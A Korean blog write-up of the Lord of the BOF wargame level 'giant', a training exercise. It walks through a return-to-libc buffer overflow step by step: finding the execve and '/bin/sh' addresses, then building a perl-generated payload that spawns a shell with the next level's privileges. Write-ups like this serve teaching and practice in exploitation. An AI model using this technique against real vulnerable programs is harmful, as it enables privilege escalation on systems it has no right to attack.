[bugbear@localhost bugbear]$ cat giant.c /* The Lord of the BOF : The Fellowship of the BOF - giant - RTL2 */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> main(int argc, char *argv[]) { char buffer[40]; FILE *fp; char *lib_addr, *execve_offset, *execve_addr; char *ret; if(argc < 2){ printf("argv error\n"); exit(0); } // gain address of execve fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r"); fgets(buffer, 255, fp); sscanf(buffer, "(%x)", &lib_addr); fclose(fp); fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r"); fgets(buffer, 255, fp); sscanf(buffer, "%x", &execve_offset); fclose(fp); execve_addr = lib_addr + (int)execve_offset; // end memcpy(&ret, &(argv[1][44]), 4); if(ret != execve_addr) { printf("You must use execve!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } |
갑자기 소스가 겁나 길어졌네여
대강 보면 execve를 이용해서 쉘을 떨궈라는것같군요.
int execve (const char *filename, char *const argv [], char *const envp[]);
execve는 다음과 같은 인자를 필요로합니다. 첫 번째 인자는 뭘 실행할건지.. 여기서는 /bin/sh가 되겠군요
argv는 첫 번째 인자를 실행할 때 사용할 인자를 배열 형태로 넣는겁니다. 누가 null 넣어도 된다 했는데.. 쓰레기 값이라도 필요하더라구요 ㅠ
envp는 환경변수를 넘겨줄 때 사용하는데 마찬가지로 배열 형태로 넣어줍니다. 근데 이건 null 넣어도 실행엔 문제 없더군요.
[bugbear@localhost test]$ cat testsh.c
#include <stdio.h>
int main(){
char *a[] = {"",0};
execve("/bin/sh",a,NULL);
}
결과적으로 위와 같이 프로그램을 생성해서 인자가 어떤식으로 박히는지 확인해봅시다.
(gdb) disas main
Dump of assembler code for function main:
0x80483c8 <main>: push %ebp
0x80483c9 <main+1>: mov %ebp,%esp
0x80483cb <main+3>: sub %esp,8
0x80483ce <main+6>: lea %eax,[%ebp-8]
0x80483d1 <main+9>: mov DWORD PTR [%ebp-8],0x8048450 # ""
0x80483d8 <main+16>: mov DWORD PTR [%ebp-4],0x0 # 0
0x80483df <main+23>: push 0 # null(envp)
0x80483e1 <main+25>: lea %eax,[%ebp-8]
0x80483e4 <main+28>: push %eax # # a가 저장된곳(argv)
0x80483e5 <main+29>: push 0x8048451 # "/bin/sh"(filename)
0x80483ea <main+34>: call 0x80482e8 <execve>
0x80483ef <main+39>: add %esp,12
0x80483f2 <main+42>: leave
0x80483f3 <main+43>: ret
0xbffffac4: 0x08048451 0xbffffad0 0x00000000 0x08048450
[0x08048450 = 0x0(envp)]
[0xbffffad4 = 0x0(argv[1]]
[0xbffffad0 = 0x8048450(argv[0]] - 0x8048450 : ""
[0x08048451 = "/bin/sh"(filename)]
[execve 주소] [dummy 4byte] ["/bin/sh" 주소] [**(아무 값) + null 4byte] [*nullbyte]
즉 위와 같이 넣어줘야 하나보네요.
먼저 execve 주소는 다음과 같이 구할 수 있습니다..
[bugbear@localhost test]$ /usr/bin/ldd /home/bugbear/giant | /bin/grep libc | /bin/awk '{print $4}'
(0x40018000)
[bugbear@localhost test]$ /usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'
00091d48
두개 더해야 주소가 나오니까 더합시당 => 400A9D48
이제 /bin/sh의 주소를 찾아봅시다.
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
[bugbear@localhost test]$ cat /tmp/findsh.c
#include <stdio.h>
int main(int argc, char * argv[])
{
long shell;
shell = 0x40058ae0;
while(memcmp((void *)shell, "/bin/sh", 8)) shell++;
printf("/bin/sh = %p\n",shell);
}
[bugbear@localhost test]$ /tmp/findsh
/bin/sh = 0x400fbff9
다음은 execve의 2번째 인자인데.. 이건 그냥 뒤적거리다가 찾았습니다(?) 환경변수로 더블 포인팅 해줘도 될 것 같았는데 그냥 스택 보니 눈에 보이더라구요;
(gdb) x/2x 0xbffffab4
0xbffffab4: 0x080484b0 0x00000000
0xbffffab4를 execve의 2번째 인자로 넘겨줍니다. 마지막 3번째 인자는 null을 가지고 있는 값이면 되니까 위에 있는 값 +4해줘도되요.
참고로 2번째 인자는 위에서도 언급했지만 반드시 4byte짜리 NULL이 마지막에 포함되어있어야합니다.
아무튼 익스를 만들었으니 한번 해볼까용
[bugbear@localhost test]$ ./giant `perl -e 'print "A"x44, "\x48\x9d\x0a\x40", "B"x4, "\xf9\xbf\x0f\x40", "\xb4\xfa\xff\xbf", "\xb8\xfa\xff\xbf"'`
ldd: /home/giant/assassin: No such file or directory
You must use execve!
오잉; 안되네요 왜이럴까..하고 찾아봤더니 \x0a는 \x00으로 인식한다고하네요 -_-;; 스크립트 인자 전체를 쌍따옴표로 다시 묶어줍니다.
[bugbear@localhost test]$ ./giant "`perl -e 'print "A"x44, "\x48\x9d\x0a\x40", "B"x4, "\xf9\xbf\x0f\x40", "\xb4\xfa\xff\xbf", "\xb8\xfa\xff\xbf"'`"
ldd: /home/giant/assassin: No such file or directory
You must use execve!
??..그래도 안되네요.. 당연하죠 복사본은 execve()를 불러와서 실행할 수 없으니까..
원본이 있는 경로로 가서 실행해줍니다.
[bugbear@localhost bugbear]$ ./giant "`perl -e 'print "A"x44, "\x48\x9d\x0a\x40", "B"x4, "\xf9\xbf\x0f\x40", "\xb4\xfa\xff\xbf", "\xb8\xfa\xff\xbf"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH?
@BBBB廈@덜옇?
1???厄PTRh펵h큳QVh`????????????????U??=?: /home/bugbear/.bashrc: Permission denied
bash$ id
uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear)
bash$ my-pass
euid = 514
one step closer
bash$
성공적으로 쉘을 획득했습니당!
'워게임 > lord of bof' 카테고리의 다른 글
level 15 -> 16 (0) | 2015.10.23 |
---|---|
level 14 -> 15 (0) | 2015.10.23 |
level 12 -> 13 (0) | 2015.10.23 |
level 11 -> 12 (0) | 2015.10.23 |
level 10 -> 11 (0) | 2015.10.23 |